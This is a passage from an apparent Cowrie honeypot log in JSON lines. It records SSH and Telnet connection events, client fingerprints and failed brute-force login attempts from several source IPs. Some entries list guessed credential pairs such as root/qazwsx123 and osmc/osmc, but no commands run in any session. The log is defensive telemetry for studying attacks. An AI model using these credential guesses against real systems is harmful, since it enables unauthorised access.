cha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:26.227203Z","src_ip":"94.159.98.239","session":"b795ef24c530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59156,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea4eb30bc70","protocol":"telnet","message":"New connection: 192.119.13.58:59156 (10.17.0.5:23) [session: 6ea4eb30bc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:26.415821Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58778,"dst_ip":"10.17.0.5","dst_port":22,"session":"63937f2736a0","protocol":"ssh","message":"New connection: 45.153.34.112:58778 (10.17.0.5:22) [session: 63937f2736a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:27.290632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:27.295550Z","src_ip":"45.153.34.112","session":"63937f2736a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:27.378214Z","src_ip":"45.153.34.112","session":"63937f2736a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:27.624526Z","src_ip":"45.153.34.112","session":"63937f2736a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xzsawq21","message":"login attempt [root/xzsawq21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:27.816356Z","src_ip":"94.159.98.239","session":"b795ef24c530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.492316007614136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:27.898180Z","src_ip":"192.119.13.58","session":"835900646299","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38180,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd41a237af60","protocol":"telnet","message":"New connection: 192.119.13.58:38180 (10.17.0.5:23) [session: dd41a237af60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:28.409225Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:28.711008Z","src_ip":"45.153.34.112","session":"63937f2736a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:29.122854Z","src_ip":"94.159.98.239","session":"b795ef24c530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51712,"dst_ip":"10.17.0.5","dst_port":22,"session":"52158ea063c7","protocol":"ssh","message":"New connection: 45.153.34.112:51712 (10.17.0.5:22) [session: 52158ea063c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:30.679283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:30.688936Z","src_ip":"45.153.34.112","session":"52158ea063c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:30.771738Z","src_ip":"45.153.34.112","session":"52158ea063c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:31.020952Z","src_ip":"45.153.34.112","session":"52158ea063c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:32.106696Z","src_ip":"45.153.34.112","session":"52158ea063c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51726,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d0a1b3a6196","protocol":"ssh","message":"New connection: 45.153.34.112:51726 (10.17.0.5:22) [session: 8d0a1b3a6196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:34.207430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:34.213537Z","src_ip":"45.153.34.112","session":"8d0a1b3a6196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:34.299562Z","src_ip":"45.153.34.112","session":"8d0a1b3a6196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:34.554825Z","src_ip":"45.153.34.112","session":"8d0a1b3a6196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:35.647261Z","src_ip":"45.153.34.112","session":"8d0a1b3a6196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af056179c7f","protocol":"ssh","message":"New connection: 45.153.34.112:51740 (10.17.0.5:22) [session: 6af056179c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:37.660952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:37.713078Z","src_ip":"45.153.34.112","session":"6af056179c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:37.849004Z","src_ip":"45.153.34.112","session":"6af056179c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.49736547470093,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:37.942018Z","src_ip":"192.119.13.58","session":"a18a8813cd49","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:38.243961Z","src_ip":"45.153.34.112","session":"6af056179c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:39.329979Z","src_ip":"45.153.34.112","session":"6af056179c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.88857889175415,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:41.242221Z","src_ip":"192.119.13.58","session":"def188a8102f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a51914ba3cc","protocol":"ssh","message":"New connection: 45.153.34.112:58394 (10.17.0.5:22) [session: 1a51914ba3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:41.266580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:41.271398Z","src_ip":"45.153.34.112","session":"1a51914ba3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:41.353272Z","src_ip":"45.153.34.112","session":"1a51914ba3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:41.706335Z","src_ip":"45.153.34.112","session":"1a51914ba3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35660,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a5f042015e9","protocol":"telnet","message":"New connection: 192.119.13.58:35660 (10.17.0.5:23) [session: 5a5f042015e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:42.326013Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:42.793960Z","src_ip":"45.153.34.112","session":"1a51914ba3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58408,"dst_ip":"10.17.0.5","dst_port":22,"session":"87b6a1ff7af1","protocol":"ssh","message":"New connection: 45.153.34.112:58408 (10.17.0.5:22) [session: 87b6a1ff7af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:44.895302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:44.901856Z","src_ip":"45.153.34.112","session":"87b6a1ff7af1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:44.985079Z","src_ip":"45.153.34.112","session":"87b6a1ff7af1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:45.233771Z","src_ip":"45.153.34.112","session":"87b6a1ff7af1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.2586715221405,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:45.365727Z","src_ip":"192.119.13.58","session":"b32ff7983fbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:46.382653Z","src_ip":"45.153.34.112","session":"87b6a1ff7af1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36670,"dst_ip":"10.17.0.5","dst_port":22,"session":"668f8498466a","protocol":"ssh","message":"New connection: 103.176.20.57:36670 (10.17.0.5:22) [session: 668f8498466a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:46.463149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:46.472031Z","src_ip":"103.176.20.57","session":"668f8498466a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:46.718380Z","src_ip":"103.176.20.57","session":"668f8498466a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.93736672401428,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:46.726120Z","src_ip":"192.119.13.58","session":"c4683c7392b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52528,"dst_ip":"10.17.0.5","dst_port":23,"session":"40cd96f333a2","protocol":"telnet","message":"New connection: 192.119.13.58:52528 (10.17.0.5:23) [session: 40cd96f333a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:46.815177Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalin","message":"login attempt [root/stalin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:47.467431Z","src_ip":"103.176.20.57","session":"668f8498466a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56434,"dst_ip":"10.17.0.5","dst_port":23,"session":"83e9521b03a0","protocol":"telnet","message":"New connection: 192.119.13.58:56434 (10.17.0.5:23) [session: 83e9521b03a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:47.821691Z"}
{"eventid":"cowrie.session.closed","duration":32.97159385681152,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:48.282315Z","src_ip":"192.119.13.58","session":"e1eeebbc7cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58410,"dst_ip":"10.17.0.5","dst_port":22,"session":"034d7a5aeef9","protocol":"ssh","message":"New connection: 45.153.34.112:58410 (10.17.0.5:22) [session: 034d7a5aeef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:48.399432Z"}
